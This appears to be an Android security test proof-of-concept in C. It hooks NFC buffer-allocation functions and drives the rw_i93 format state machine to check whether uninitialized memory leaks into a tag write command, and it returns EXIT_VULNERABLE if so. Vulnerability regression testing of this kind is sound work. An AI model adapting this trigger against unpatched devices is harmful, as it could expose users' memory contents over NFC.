/*
 * Copyright (C) 2020 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include "../includes/common.h"
#include "../includes/memutils.h"
#include <stdlib.h>

char enable_selective_overload = ENABLE_NONE;
bool kIsVulnerable = false;

// This PoC is only for 64-bit builds
#if _64_BIT
#include <dlfcn.h>
#include <nfc_api.h>
#include <nfc_int.h>
#include <rw_int.h>
#include <tags_defs.h>
#define DEFAULT_VALUE 0xBE
#define RW_I93_FORMAT_DATA_LEN 8

// borrowed from rw_i93.cc
extern tRW_CB rw_cb;
extern tNFC_CB nfc_cb;
void rw_init(void);
tNFC_STATUS rw_i93_select(uint8_t *p_uid);

bool kIsInitialized = false;
void *kVulnPtr = nullptr;
uint16_t kVulnSize = 0;

static tNFC_STATUS (*real_rw_i93_send_cmd_write_single_block)(
    uint16_t block_number, uint8_t *p_data) = nullptr;

static void *(*real_GKI_getbuf)(uint16_t size) = nullptr;
static void (*real_GKI_freebuf)(void *ptr) = nullptr;

void init(void) {
  real_rw_i93_send_cmd_write_single_block =
      (tNFC_STATUS(*)(uint16_t, uint8_t *))dlsym(
          RTLD_NEXT, "_Z34rw_i93_send_cmd_write_single_blocktPh");
  if (!real_rw_i93_send_cmd_write_single_block) {
    return;
  }

  real_GKI_getbuf = (void *(*)(uint16_t))dlsym(RTLD_NEXT, "_Z10GKI_getbuft");
  if (!real_GKI_getbuf) {
    return;
  }

  real_GKI_freebuf = (void (*)(void *))dlsym(RTLD_NEXT, "_Z11GKI_freebufPv");
  if (!real_GKI_freebuf) {
    return;
  }

  kIsInitialized = true;
}

void *GKI_getbuf(uint16_t size) {
  if (!kIsInitialized) {
    init();
  }
  void *ptr = nullptr;
  if ((size == I93_MAX_BLOCK_LENGH) || (size == RW_I93_FORMAT_DATA_LEN)) {
    ptr = malloc(size);
    memset(ptr, DEFAULT_VALUE, size);
    kVulnPtr = ptr;
    kVulnSize = size;
  } else {
    ptr = real_GKI_getbuf(size);
  }
  return ptr;
}

void GKI_freebuf(void *ptr) {
  if (!kIsInitialized) {
    init();
  }
  if (ptr == kVulnPtr) {
    free(ptr);
  } else {
    real_GKI_freebuf(ptr);
  }
}

size_t rw_i93_send_cmd_write_single_block(uint16_t block_number,
                                          uint8_t *p_data) {
  if (!kIsInitialized) {
    init();
  }
  if (p_data == kVulnPtr) {
    for (int n = 0; n < I93_MAX_BLOCK_LENGH; ++n) {
      if (p_data[n] == DEFAULT_VALUE) {
        kIsVulnerable = true;
        break;
      }
    }
  }
  return real_rw_i93_send_cmd_write_single_block(block_number, p_data);
}

#endif /* _64_BIT */

int main() {
// This PoC is only for 64-bit builds
#if _64_BIT
  enable_selective_overload = ENABLE_ALL;
  tRW_I93_CB *p_i93 = &rw_cb.tcb.i93;

  GKI_init();
  rw_init();

  uint8_t p_uid = 1;
  if (rw_i93_select(&p_uid) != NFC_STATUS_OK) {
    return EXIT_FAILURE;
  }

  tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
  tNFC_CONN_EVT event = NFC_DATA_CEVT;
  p_i93->sub_state = RW_I93_SUBSTATE_CHECK_READ_ONLY;

  tNFC_CONN *p_data = (tNFC_CONN *)malloc(sizeof(tNFC_CONN));
  if (!p_data) {
    return EXIT_FAILURE;
  }

  p_data->data.p_data = (NFC_HDR *)GKI_getbuf(sizeof(uint8_t) * 16);
  if (!(p_data->data.p_data)) {
    free(p_data);
    return EXIT_FAILURE;
  }

  (p_data->data.p_data)->len = I93_MAX_BLOCK_LENGH;
  p_i93->state = RW_I93_STATE_FORMAT;
  p_i93->block_size = 7;
  p_data->status = NFC_STATUS_OK;

  p_cb->p_cback(0, event, p_data);

  free(p_data);
  enable_selective_overload = ENABLE_NONE;
#endif /* _64_BIT */
  return kIsVulnerable ? EXIT_VULNERABLE : EXIT_SUCCESS;
}
